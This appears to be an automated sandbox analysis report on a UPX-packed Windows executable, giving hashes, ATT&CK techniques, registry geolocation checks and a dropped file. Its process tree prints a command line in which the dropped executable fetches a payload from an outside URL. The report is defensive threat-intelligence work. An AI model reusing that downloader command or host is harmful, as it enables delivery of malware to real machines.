5ec3a4f34c759cc44406d8402bcb640667c80da262e6811ff95402e2b48a0458

Analysis

max time kernel
150s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
21/08/2024, 14:12

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

b3c826c8e7de52b473258d54d67b528e_JaffaCakes118.exe
Size

83KB
MD5

b3c826c8e7de52b473258d54d67b528e
SHA1

dac2de8157e88c90257a255e8840fa661897e1a7
SHA256

5ec3a4f34c759cc44406d8402bcb640667c80da262e6811ff95402e2b48a0458
SHA512

0a99c1b7711877cad92fa538db9a09f5eb36ea5c28885eb6a841d21cc32e7681f4da1b6b91e0c201dc82479b0c8d99ed3516fc978a8ecf2d687ecc5c3bc3c4a3
SSDEEP

1536:0VmNBnskjNwF4mchK5RF12Ma0gRke7jbXOwzWSP1HdPI88i2nJy+wZm:rN9NdmxP8RkCHBvPpmi2ncbs

Score

7^/10

discovery upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Control Panel\International\Geo\Nation	b3c826c8e7de52b473258d54d67b528e_JaffaCakes118.exe

Executes dropped EXE 1 IoCs

pid	Process
2096	A87CE-tmp.eXe

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x0007000000023469-4.dat	upx
behavioral2/memory/2096-11-0x0000000000400000-0x0000000000424000-memory.dmp	upx
behavioral2/memory/2096-15-0x0000000000400000-0x0000000000424000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	b3c826c8e7de52b473258d54d67b528e_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	A87CE-tmp.eXe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3664 wrote to memory of 2096	3664	b3c826c8e7de52b473258d54d67b528e_JaffaCakes118.exe	85
PID 3664 wrote to memory of 2096	3664	b3c826c8e7de52b473258d54d67b528e_JaffaCakes118.exe	85
PID 3664 wrote to memory of 2096	3664	b3c826c8e7de52b473258d54d67b528e_JaffaCakes118.exe	85

C:\Users\Admin\AppData\Local\Temp\b3c826c8e7de52b473258d54d67b528e_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\b3c826c8e7de52b473258d54d67b528e_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3664
- C:\Users\Admin\AppData\Local\Temp\A87CE-tmp.eXe
  "C:\Users\Admin\AppData\Local\Temp\A87CE-tmp.eXe" http://downgosoft.com/drv32.data "C:\Users\Admin\AppData\Local\Temp\A87CE-tmpa"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:2096

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\A87CE-tmp

Filesize
36KB

MD5
a6ef8e1067dae3cf7537712443bf3b77

SHA1
204b8a6402b415533540d0c2659c5722a21da8be

SHA256
2917964e199063cb0cd0bced5d1f7846edcb810fe02fff8f0b1dd053746cf229

SHA512
9662f18208b8a6c27a29e496b75d24ef9a910c20cd458fe8ea58458986253d3ff0a82e349cbfa804b52b3dd0913d995e737f740f48f1a16b8d2ff908ee9cc14a

Download Submit
memory/2096-11-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2096-15-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/3664-13-0x0000000000400000-0x0000000000436000-memory.dmp

Filesize
216KB

Download